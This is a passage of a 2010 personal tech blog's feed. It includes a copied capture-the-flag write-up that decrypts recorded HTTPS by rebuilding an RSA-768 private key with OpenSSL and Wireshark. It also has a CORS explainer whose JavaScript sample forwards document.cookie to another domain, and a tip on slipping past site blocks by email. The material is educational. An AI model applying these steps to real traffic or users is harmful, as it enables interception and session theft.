src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1790237085722053046?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1790237085722053046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/fiddler2-fiddle-with-ssl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1790237085722053046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1790237085722053046'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/fiddler2-fiddle-with-ssl.html' title='Fiddler2 - Fiddle with SSL'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8003249359161598207</id><published>2010-12-16T21:40:00.000-08:00</published><updated>2011-02-22T07:51:08.242-08:00</updated><title type='text'>Sniffing SSL traffic to public websites</title><content type='html'>There is a beautiful write up here:&lt;br /&gt;
&lt;br /&gt;
http://blog.stalkr.net/2010/03/codegate-decrypting-https-ssl-rsa-768.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Reproducing (copy pasting) it on this blog, so it doesn't get lost:&lt;br /&gt;
&lt;br /&gt;
Steps&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Extract public certificate&lt;/li&gt;
&lt;li&gt;Identify encryption&lt;/li&gt;
&lt;li&gt;Create private certificate&lt;/li&gt;
&lt;li&gt;Decrypt https&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;h3&gt;1. Extract public certificate&lt;/h3&gt;Launch Wireshark and open the capture file. Browse the packets to the &lt;a href="http://en.wikipedia.org/wiki/Transport_Layer_Security"&gt;TLSv1&lt;/a&gt; &lt;i&gt;Server hello&lt;/i&gt;. Open the SSL layer, expand &lt;i&gt;TLSv1 Record Layer&lt;/i&gt; containing certificate, select the certificate and use &lt;i&gt;right-click/Export selected packet bytes&lt;/i&gt; to save the &lt;a href="http://en.wikipedia.org/wiki/X.509"&gt;X.509&lt;/a&gt; certificate in binary &lt;a href="http://en.wikipedia.org/wiki/Distinguished_Encoding_Rules"&gt;DER&lt;/a&gt; as &lt;a href="http://stalkr.net/files/codegate/2010/7/public.der"&gt;public.der&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://stalkr.net/files/codegate/2010/7/wireshark_extract_certificate.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="142" src="http://stalkr.net/files/codegate/2010/7/wireshark_extract_certificate.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h3&gt;2. Identify encryption&lt;/h3&gt;&lt;br /&gt;
Using &lt;a href="http://www.openssl.org/"&gt;OpenSSL&lt;/a&gt; suite, you can see information contained in certificate:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;$ openssl x509 -inform DER -in public.der -text
[...]
                              Public Key Algorithm: rsaEncryption
                              RSA Public Key: (768 bit)
                                        Modulus (768 bit):
                                                  00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
                                                  f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
                                                  84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
                                                  1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
                                                  df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
                                                  6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
                                                  2f:46:2e:79:41:3d:b5
[...]
&lt;/pre&gt;&lt;br /&gt;
The interesting thing here is that the public-key algorithm is &lt;a href="http://en.wikipedia.org/wiki/RSA"&gt;RSA&lt;/a&gt; and the modulus 768 bits: &lt;a href="http://en.wikipedia.org/wiki/RSA_numbers#RSA-768"&gt;RSA-768&lt;/a&gt; has been factored!&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;RSA-768 = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489 × 3674604366679959042824463379962795263227915816434308764267603228381573966651127923373417143396810270092798736308917&lt;/pre&gt;&lt;br /&gt;
Conclusion: we are able to create our own private certificate, valid to decrypt the SSL.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;3. Create private certificate&lt;/h3&gt;&lt;br /&gt;
Thanks to &lt;a href="http://blog.didierstevens.com/2008/09/07/mister-p-and-qs-excellent-solution/"&gt;Mister P and Q's Excellent Solution&lt;/a&gt; to &lt;a href="http://blog.didierstevens.com/2008/07/22/authenticode-challenge/"&gt;Didier Stevens' Authenticode Challenge&lt;/a&gt;, it was really easy.&lt;br /&gt;
&lt;br /&gt;
I used their &lt;i&gt;CreatePEM.cpp&lt;/i&gt;, turned it back into a C program, included &lt;a href="http://stalkr.net/files/codegate/2010/7/e_os.h"&gt;e_os.h&lt;/a&gt; from OpenSSL and added P &amp;amp; Q of RSA-768bits which gave me &lt;a href="http://stalkr.net/files/codegate/2010/7/create_private.c"&gt;create_private.c&lt;/a&gt;. Make sure you also have OpenSSL development files installed (package &lt;i&gt;libssl-dev&lt;/i&gt; on Debian), then compile with:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;$ gcc -lssl -o create_private create_private.c&lt;/pre&gt;&lt;br /&gt;
Then run it to generate &lt;a href="http://stalkr.net/files/codegate/2010/7/private.pem"&gt;private.pem&lt;/a&gt;, the private certificate in &lt;a href="http://en.wikipedia.org/wiki/Privacy_Enhanced_Mail"&gt;PEM&lt;/a&gt; format:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;./create_private
ls -l private.pem
-rw-r--r-- 1 stalkr stalkr 692 2010-03-15 16:17 private.pem&lt;/pre&gt;&lt;h3&gt;4. Decrypt https&lt;/h3&gt;&lt;br /&gt;
Open Wireshark preferences file:&lt;br /&gt;
- on Linux: &lt;code&gt;~/.wireshark/preferences&lt;/code&gt;&lt;br /&gt;
- on Windows: &lt;code&gt;C:\Documents and Settings\&lt;user&gt;\Application Data\Wireshark\preferences&lt;/user&gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Inform Wireshark that you want it to desegment SSL records and  application data, and give it the private certificate for the https  server we observed (192.168.100.4):&lt;br /&gt;
&lt;pre&gt;ssl.desegment_ssl_records: TRUE
ssl.desegment_ssl_application_data: TRUE
ssl.keys_list: 192.168.100.4,443,http,/home/stalkr/codegate/7/private.pem&lt;/pre&gt;Fix the path to private certificate accordingly, on Windows use regular slashes /.&lt;br /&gt;
&lt;br /&gt;
Again, launch Wireshark and open the capture file. We can now see the  application data: an HTTP GET request to index.html, and the response  containing the flag&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8003249359161598207?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8003249359161598207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/sniffing-ssl-traffic-to-public-websites.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8003249359161598207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8003249359161598207'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/sniffing-ssl-traffic-to-public-websites.html' title='Sniffing SSL traffic to public websites'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7183521952055546563</id><published>2010-12-16T18:36:00.000-08:00</published><updated>2010-12-16T18:52:01.904-08:00</updated><title type='text'>When lethal enemies become tools</title><content type='html'>E Coli as I have heard, is a very dangerous bacteria&lt;br /&gt;
&lt;br /&gt;
But as per the &lt;a href="http://www.thinkdigit.com/Storage/Scientists-store-900000GB-of-data-in-1_5743.html"&gt;news here&lt;/a&gt;, efforts are underway to STORE DATA inside bacteria&lt;br /&gt;
&lt;br /&gt;
Imagine the extent of storage space provided by 1 gram of E Coli Bacteria:&lt;br /&gt;
&lt;br /&gt;
900, 000 GB of data in 1 Gram of E Coli Bacteria&lt;br /&gt;
&lt;br /&gt;
There is a very good place to find such stuff: &lt;a href="http://2010.igem.org/Main_Page"&gt;iGEM (International Genetically Engineered Machines)&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://2010.igem.org/files/presentation/Hong_Kong-CUHK.pdf"&gt;There is a PDF&lt;/a&gt; describing the whole stuff which is worth reading&lt;br /&gt;
&lt;br /&gt;
This is exactly what I call invention&lt;br /&gt;
&lt;br /&gt;
Here is a pic from the research lab:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_cAZxWE_bXGw/TQrOB94mIZI/AAAAAAAAAC8/HCeb_70I0ig/s1600/collage_images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="192" src="http://2.bp.blogspot.com/_cAZxWE_bXGw/TQrOB94mIZI/AAAAAAAAAC8/HCeb_70I0ig/s320/collage_images.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Here is the excerpt from &lt;a href="http://2010.igem.org/Team:Hong_Kong-CUHK"&gt;CUHK Submission&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;h1 class="componentheading"&gt;CUHK IGEM 2010--Bioencryption&lt;/h1&gt;&lt;div class="article-rel-wrapper"&gt;&lt;h2 class="contentheading" style="visibility: visible;"&gt;   Our Project &lt;/h2&gt;&lt;/div&gt;&lt;span style="font-family: Optima,Lucida,'MgOpen Cosmetica','Lucida Sans Unicode',sans-serif; font-size: 13px; line-height: 17px;"&gt;&lt;span class="dropcap-orange"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;Data encryption and storage has always been an important branch of research in computer engineering. In our project, we explored the possibility of harnessing a biological system as an alternative solution for data en/decryption and storage. Using bacteria as the information storage device is not new. However the practicability of previous research is being doubt due to the limited size of information available to be inserted into the bacteria.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Optima,Lucida,'MgOpen Cosmetica','Lucida Sans Unicode',sans-serif; font-size: 13px; line-height: 17px;"&gt;&lt;span class="dropcap-purple"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;We recognized the current barricades in developing a truly useful system and we forecasted the indispensable modules that one would be anticipating when putting fantasy into reality. This year, we have proposed a model that is a true, &lt;span class="highlight-purple"&gt;massively parallel bacterial data storage&lt;/span&gt; system.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Optima,Lucida,'MgOpen Cosmetica','Lucida Sans Unicode',sans-serif; font-size: 13px; line-height: 17px;"&gt;&lt;span class="dropcap-brown"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;In addition we have created an &lt;span class="highlight-purple"&gt;encryption module&lt;/span&gt;&amp;nbsp;with the R64 Shufflon-Specific Recombinase to further secure the information. Together with the data proof-read/correction and random access modules developed, our expectation is high - we believe this could be an industrial standard in handling large scale data storage in living cells&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7183521952055546563?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7183521952055546563/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/when-lethal-enemies-become-tools.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7183521952055546563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7183521952055546563'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/when-lethal-enemies-become-tools.html' title='When lethal enemies become tools'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_cAZxWE_bXGw/TQrOB94mIZI/AAAAAAAAAC8/HCeb_70I0ig/s72-c/collage_images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3681848075793446676</id><published>2010-12-14T07:37:00.000-08:00</published><updated>2010-12-14T07:37:24.367-08:00</updated><title type='text'>A good analogy</title><content type='html'>Here is a good analogy between two subjects humans usually keep thinking about: electricity and soul&lt;br /&gt;
&lt;br /&gt;
The article is &lt;a href="http://www.west.net/%7Esimon/brain-soul-consciousness.html"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A snip from the above given website is posted below:&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;span&gt;Brain-Soul-Consciousness:a synthesis of ideas(in progress)&lt;/span&gt; &lt;hr width="100%" /&gt;&lt;/center&gt;  The brain is a computer that&amp;nbsp; interfaces with a conscious entity(our &lt;br /&gt;
consciousness). It or any of it's parts are no more conscious than your &lt;br /&gt;
pocket calculator or desktop PC. It is an apparatus for decoding, analyzing, &lt;br /&gt;
exploring the 3-dimensional universe that we live in. It is a circuit that is &lt;br /&gt;
composed of a complex array of networks(neural networks) that are being &lt;br /&gt;
continuously modified by our environment and the experiences that we &lt;br /&gt;
encounter in that environment.&amp;nbsp; The brain's different parts (cortex, brain &lt;br /&gt;
stem, ect)make up an&amp;nbsp; ensemble of integrated modules that function together &lt;br /&gt;
as a whole. The same way your cpu, motherboard, and memory chips in your &lt;br /&gt;
computer function as a whole. Here is one example of how our nervous systems &lt;br /&gt;
are adapted to our physical environment. Have you noticed how anything thing &lt;br /&gt;
solid that we can feel is within in our range of VISION. Our visual systems &lt;br /&gt;
our perfectly or nearly perfectly adapted to the wavelengths of physical &lt;br /&gt;
matter in our three dimensional universe. We do not bump into invisible &lt;br /&gt;
objects because all solid matter in our three dimensional universe is within &lt;br /&gt;
our visual spectrum&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3681848075793446676?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3681848075793446676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/good-analogy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3681848075793446676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3681848075793446676'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/good-analogy.html' title='A good analogy'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4338847702424644263</id><published>2010-12-14T03:02:00.000-08:00</published><updated>2010-12-14T03:02:04.332-08:00</updated><title type='text'>SSH Client in python</title><content type='html'>A complete SSH client written in python from scratch&lt;br /&gt;
&lt;br /&gt;
One can get a complete understanding of SSH v2 protocol by going through this beautiful program&lt;br /&gt;
&lt;br /&gt;
Its present &lt;a href="http://www.sepcot.com/resume"&gt;here&lt;/a&gt; and relocated &lt;a href="http://ubuntuone.com/p/Tb7/"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4338847702424644263?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4338847702424644263/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/ssh-client-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4338847702424644263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4338847702424644263'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/ssh-client-in-python.html' title='SSH Client in python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4567981115927703338</id><published>2010-12-14T02:21:00.000-08:00</published><updated>2011-02-22T07:52:31.738-08:00</updated><title type='text'>Browse internet using email</title><content type='html'>Sometimes, websites are blocked by system administrators. Many a times, based on regional policies, or on administrative policies, it is not possible to browse some websites from certain locations such as, say from office&lt;br /&gt;
&lt;br /&gt;
The best way to browse websites under such circumstances, is using www4mail&lt;br /&gt;
&lt;br /&gt;
The steps to browse using email are below:&lt;br /&gt;
&lt;br /&gt;
1. Send an email to www4mail@wm.ictp.trieste.it with the following in your subject line:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;GET http://website.you.want.to.access.com

&lt;/pre&gt;2. Wait for a few minutes and within a few minutes, you will get an email with the content of website you want to browse&lt;br /&gt;
&lt;br /&gt;
The only issue with this type of browsing, is that it takes a lot of time for one to get replies&lt;br /&gt;
&lt;br /&gt;
May be there are better paid services who do the job quite faster&lt;br /&gt;
&lt;br /&gt;
Other options, as described &lt;a href="http://www4mail.org/"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-4567981115927703338?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/4567981115927703338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/browse-internet-using-email.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4567981115927703338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/4567981115927703338'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/browse-internet-using-email.html' title='Browse internet using email'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6029085815085528398</id><published>2010-12-12T20:52:00.000-08:00</published><updated>2010-12-12T21:12:08.220-08:00</updated><title type='text'>Makezine for hardware hackers</title><content type='html'>First a brief description of hardware hackers (&lt;a href="http://en.wikipedia.org/wiki/Hacker_%28hobbyist%29"&gt;from wikipedia link&lt;/a&gt;):&lt;br /&gt;
&lt;br /&gt;
Another type of hacker is one who creates novel hardware modifications.  Hardware hackers are those who modify hardware (not limited to  computers) to expand capabilities; this group blurs into the culture of  hobbyist &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Inventor" title="Inventor"&gt;inventors&lt;/a&gt; and professional electronics engineering. A &lt;a href="http://en.wikipedia.org/wiki/Sample" title="Sample"&gt;sample&lt;/a&gt; of such modification includes the addition of &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Internet_protocol_suite" title="Internet protocol suite"&gt;TCP/IP&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Internet" title="Internet"&gt;Internet&lt;/a&gt; capabilities to a number of &lt;a href="http://en.wikipedia.org/wiki/Vending_machine" title="Vending machine"&gt;vending machines&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Coffeemaker" title="Coffeemaker"&gt;coffee makers&lt;/a&gt; during the late 1980s and early 1990s&lt;sup class="reference" id="cite_ref-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Hacker_%28hobbyist%29#cite_note-0"&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;sup class="reference" id="cite_ref-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Hacker_%28hobbyist%29#cite_note-1"&gt;[2]&lt;/a&gt;&lt;/sup&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://makezine.com/"&gt;Makezine&lt;/a&gt; is a magazine which provides Do It Yourself projects, Howtos, Hacks and Mods for hobbyists&lt;br /&gt;
&lt;br /&gt;
Read &lt;a href="http://www.ietf.org/rfc/rfc2324.txt"&gt;Hyper Text Coffee Pot Control Protocol (HTCPCP)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6029085815085528398?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6029085815085528398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/makezine-for-hardware-hackers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6029085815085528398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6029085815085528398'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/makezine-for-hardware-hackers.html' title='Makezine for hardware hackers'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3945496494561852776</id><published>2010-12-08T00:52:00.000-08:00</published><updated>2010-12-08T01:19:28.441-08:00</updated><title type='text'>Homeland Security Keyloggers Found in Dell PCs</title><content type='html'>People who want to believe it, will do so&lt;br /&gt;
People who have usually ignored it, will ignore it as usual&lt;br /&gt;
Instead of keyboard, could be motherboard, network card, anywhere, you bet&lt;br /&gt;
&lt;br /&gt;
The article is &lt;a href="http://hacknmod.com/hack/homeland-security-keyloggers-found-in-dell-pcs/"&gt;here to read&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3945496494561852776?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3945496494561852776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/homeland-security-keyloggers-found-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3945496494561852776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3945496494561852776'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/homeland-security-keyloggers-found-in.html' title='Homeland Security Keyloggers Found in Dell PCs'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5533933564472646624</id><published>2010-12-02T19:11:00.000-08:00</published><updated>2011-02-22T07:56:44.105-08:00</updated><title type='text'>The rules of Cross Domain Land</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;                         &lt;br /&gt;
Most of the web developers might have heard of Cross Domain requests sent using XMLHTTPRequest method inside javascripts. The main security concern arose from the fact that it was possible to use &lt;b&gt;XMLHTTPRequest&lt;/b&gt; method inside javascript &lt;b&gt;script&lt;/b&gt; tag and send GET/POST requests (with custom headers), when a user browses a web page containing the java script. When such webpages were browsed using vulnerable versions of firefox/IE (old versions), it was possible to send customized HTTP Headers using XMLHTTPRequest method, and the browser would not bother about it&lt;br /&gt;
&lt;br /&gt;
                         Just consider the scenario below:&lt;br /&gt;
&lt;br /&gt;
There is an attack website https://www.website-a.com which contains a script which does the following:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;var hObj = new XMLHttpRequest();

var url = 'http://www.website-b.com/somepage'; 

hObj.open('POST', url, true);
hObj.setRequestHeader('Cookie', document.cookie);
hObj.send();
&lt;/pre&gt;&lt;br /&gt;
What the above does, is it sends a POST request with a modified header called Cookie to the website-b.com which allows the user in, if the cookie is either valid or belonging to a related website&lt;br /&gt;
&lt;br /&gt;
                     Browsers include a set of &lt;b&gt;rules of caution&lt;/b&gt; while browsing pages with scripts which send requests to another domain, which is not the same as the domain that is being browsed. Here are the brief descriptions of the rules:&lt;br /&gt;
&lt;br /&gt;
a. &lt;b&gt;Disable&lt;/b&gt; directly sending requests with &lt;b&gt;credentials&lt;/b&gt; in the headers section, to domains other than the one that is being browsed&lt;br /&gt;
&lt;br /&gt;
b. &lt;b&gt;Disable&lt;/b&gt; directly sending requests with &lt;b&gt;custom headers&lt;/b&gt; as part of headers section&lt;br /&gt;
&lt;br /&gt;
c. &lt;b&gt;Disable&lt;/b&gt; directly sending requests with &lt;b&gt;methods which are not among the usual&lt;/b&gt; GET or POST methods&lt;br /&gt;
&lt;br /&gt;
Whenever such requests are invoked by a script inside a page, firefox 3.5 and above and other browsers which are not vulnerable, send &lt;b&gt;preflighted&lt;/b&gt; requests first, to check whether the other site allows them or not. Then they send the real POST/GET requests. Preflighted requests are of the type below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;OPTIONS /resource HTTP/1.1
Origin: http://www.website-a.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Cookie
&lt;/pre&gt;&lt;br /&gt;
What the above lines say in brief is, that it is a request coming from website-a.com and a script wants to send a POST request with a Cookie header. Is that OK to send such a request to website-b.com?&lt;br /&gt;
&lt;br /&gt;
If website-b.com is OK with that, then it sends the following:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://www.website-a.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Cookie
Access-Control-Max-Age: 1728000
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
When such a reply is received, it is considered as website B allowing such a request, and the original POST/GET request is now sent to www.website-b.com&lt;br /&gt;
&lt;br /&gt;
For more about how various types of requests are handled, please visit &lt;a href="http://hacks.mozilla.org/2009/07/cross-site-xmlhttprequest-with-cors/"&gt;this place&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5533933564472646624?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5533933564472646624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/rules-of-cross-domain-land.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5533933564472646624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5533933564472646624'/><link 